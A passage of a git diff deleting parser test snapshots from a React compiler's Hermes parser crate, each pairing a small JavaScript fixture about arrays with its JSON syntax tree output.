-    85
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-access-assignment.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-access-assignment.js.snap
deleted file mode 100644
index eae752bc376d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-access-assignment.js.snap
+++ /dev/null
@@ -1,482 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-access-assignment.js
----
-Input:
-function foo(a, b, c) {
-  const x = [a];
-  const y = [null, b];
-  const z = [[], [], [c]];
-  x[0] = y[1];
-  z[0][0] = x[0];
-  return [x, z];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    33
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        37,
-                        38
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    49,
-                    50
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        54,
-                        58
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        60,
-                        61
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    53,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              63
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    72,
-                    73
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        77,
-                        79
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [],
-                      "loc": null,
-                      "range": [
-                        81,
-                        83
-                      ]
-                    },
-                    {
-                      "type": "ArrayExpression",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "c",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            86,
-                            87
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        85,
-                        88
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    76,
-                    89
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  72,
-                  89
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              66,
-              90
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    93,
-                    94
-                  ]
-                },
-                "property": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    95,
-                    96
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  93,
-                  97
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    100,
-                    101
-                  ]
-                },
-                "property": {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    102,
-                    103
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  100,
-                  104
-                ]
-              },
-              "loc": null,
-              "range": [
-                93,
-                104
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              93,
-              105
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "z",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      108,
-                      109
-                    ]
-                  },
-                  "property": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      110,
-                      111
-                    ]
-                  },
-                  "computed": true,
-                  "loc": null,
-                  "range": [
-                    108,
-                    112
-                  ]
-                },
-                "property": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    113,
-                    114
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  108,
-                  115
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    118,
-                    119
-                  ]
-                },
-                "property": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    120,
-                    121
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  118,
-                  122
-                ]
-              },
-              "loc": null,
-              "range": [
-                108,
-                122
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              108,
-              123
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    134,
-                    135
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "z",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    137,
-                    138
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                133,
-                139
-              ]
-            },
-            "loc": null,
-            "range": [
-              126,
-              140
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          142
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        142
-      ],
-      "loc": null,
-      "range": [
-        0,
-        142
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    142
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-closure.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-closure.js.snap
deleted file mode 100644
index 67ca0f7ae580..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-closure.js.snap
+++ /dev/null
@@ -1,410 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-at-closure.js
----
-Input:
-function Component(props) {
-  const x = foo(props.x);
-  const fn = function () {
-    const arr = [...bar(props)];
-    return arr.at(x);
-  };
-  const fnResult = fn();
-  return fnResult;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      40,
-                      43
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          44,
-                          49
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          51
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        44,
-                        51
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              53
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "fn",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    62,
-                    64
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "VariableDeclaration",
-                        "kind": "const",
-                        "declarations": [
-                          {
-                            "type": "VariableDeclarator",
-                            "id": {
-                              "type": "Identifier",
-                              "name": "arr",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                91,
-                                94
-                              ]
-                            },
-                            "init": {
-                              "type": "ArrayExpression",
-                              "elements": [
-                                {
-                                  "type": "SpreadElement",
-                                  "argument": {
-                                    "type": "CallExpression",
-                                    "callee": {
-                                      "type": "Identifier",
-                                      "name": "bar",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        101,
-                                        104
-                                      ]
-                                    },
-                                    "arguments": [
-                                      {
-                                        "type": "Identifier",
-                                        "name": "props",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          105,
-                                          110
-                                        ]
-                                      }
-                                    ],
-                                    "loc": null,
-                                    "range": [
-                                      101,
-                                      111
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    98,
-                                    111
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                97,
-                                112
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              91,
-                              112
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          85,
-                          113
-                        ]
-                      },
-                      {
-                        "type": "ReturnStatement",
-                        "argument": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "arr",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                125,
-                                128
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "at",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                129,
-                                131
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              125,
-                              131
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                132,
-                                133
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            125,
-                            134
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          118,
-                          135
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      79,
-                      139
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    67,
-                    139
-                  ],
-                  "loc": null,
-                  "range": [
-                    67,
-                    139
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  62,
-                  139
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              56,
-              140
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "fnResult",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    149,
-                    157
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "fn",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      160,
-                      162
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    160,
-                    164
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  149,
-                  164
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              143,
-              165
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "fnResult",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                175,
-                183
-              ]
-            },
-            "loc": null,
-            "range": [
-              168,
-              184
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          186
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        186
-      ],
-      "loc": null,
-      "range": [
-        0,
-        186
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    186
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-effect.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-effect.js.snap
deleted file mode 100644
index 0615ba218dc3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-effect.js.snap
+++ /dev/null
@@ -1,299 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-at-effect.js
----
-Input:
-// arrayInstance.at should have the following effects:
-//  - read on arg0
-//  - read on receiver
-//  - mutate on lvalue
-function ArrayAtTest(props) {
-  const arr = [foo(props.x)];
-  const result = arr.at(bar(props.y));
-  return result;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "ArrayAtTest",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          129,
-          140
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            141,
-            146
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "arr",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    158,
-                    161
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          165,
-                          168
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              169,
-                              174
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              175,
-                              176
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            169,
-                            176
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        165,
-                        177
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    164,
-                    178
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  158,
-                  178
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              152,
-              179
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "result",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    188,
-                    194
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "arr",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        197,
-                        200
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "at",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        201,
-                        203
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      197,
-                      203
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "CallExpression",
-                      "callee": {
-                        "type": "Identifier",
-                        "name": "bar",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          204,
-                          207
-                        ]
-                      },
-                      "arguments": [
-                        {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              208,
-                              213
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "y",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              214,
-                              215
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            208,
-                            215
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        204,
-                        216
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    197,
-                    217
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  188,
-                  217
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              182,
-              218
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "result",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                228,
-                234
-              ]
-            },
-            "loc": null,
-            "range": [
-              221,
-              235
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          148,
-          237
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        120,
-        237
-      ],
-      "loc": null,
-      "range": [
-        120,
-        237
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    120,
-    237
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-mutate-after-capture.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-mutate-after-capture.js.snap
deleted file mode 100644
index 5c50879bfb97..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-at-mutate-after-capture.js.snap
+++ /dev/null
@@ -1,347 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-at-mutate-after-capture.js
----
-Input:
-// x's mutable range should extend to `mutate(y)`
-
-function Component(props) {
-  let x = [42, {}];
-  const idx = foo(props.b);
-  let y = x.at(idx);
-  mutate(y);
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          60,
-          69
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            70,
-            75
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    85,
-                    86
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 42.0,
-                      "loc": null,
-                      "range": [
-                        90,
-                        92
-                      ]
-                    },
-                    {
-                      "type": "ObjectExpression",
-                      "properties": [],
-                      "loc": null,
-                      "range": [
-                        94,
-                        96
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    89,
-                    97
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  85,
-                  97
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              81,
-              98
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "idx",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    107,
-                    110
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      113,
-                      116
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          117,
-                          122
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          123,
-                          124
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        117,
-                        124
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    113,
-                    125
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  107,
-                  125
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              101,
-              126
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    133,
-                    134
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        137,
-                        138
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "at",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        139,
-                        141
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      137,
-                      141
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "Identifier",
-                      "name": "idx",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        142,
-                        145
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    137,
-                    146
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  133,
-                  146
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              129,
-              147
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  150,
-                  156
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    157,
-                    158
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                150,
-                159
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              150,
-              160
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                171,
-                172
-              ]
-            },
-            "loc": null,
-            "range": [
-              164,
-              173
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          77,
-          175
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        51,
-        175
-      ],
-      "loc": null,
-      "range": [
-        51,
-        175
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    51,
-    175
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-expression-spread.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-expression-spread.js.snap
deleted file mode 100644
index c1d726aed121..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@array-expression-spread.js.snap
+++ /dev/null
@@ -1,228 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/array-expression-spread.js
----
-Input:
-function Component(props) {
-  const x = [0, ...props.foo, null, ...props.bar, "z"];
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        41,
-                        42
-                      ]
-                    },
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            47,
-                            52
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "foo",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            53,
-                            56
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          47,
-                          56
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        44,
-                        56
-                      ]
-                    },
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        58,
-                        62
-                      ]
-                    },
-                    {
-                      "type": "SpreadElement",
-                      "argument": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            67,
-                            72
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            73,
-                            76
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          67,
-                          76
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        64,
-                        76
-                      ]
-                    },
-                    {
-                      "type": "StringLiteral",
-                      "value": "z",
-                      "loc": null,
-                      "range": [
-                        78,
-                        81
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    82
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  82
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              83
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                93,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              86,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
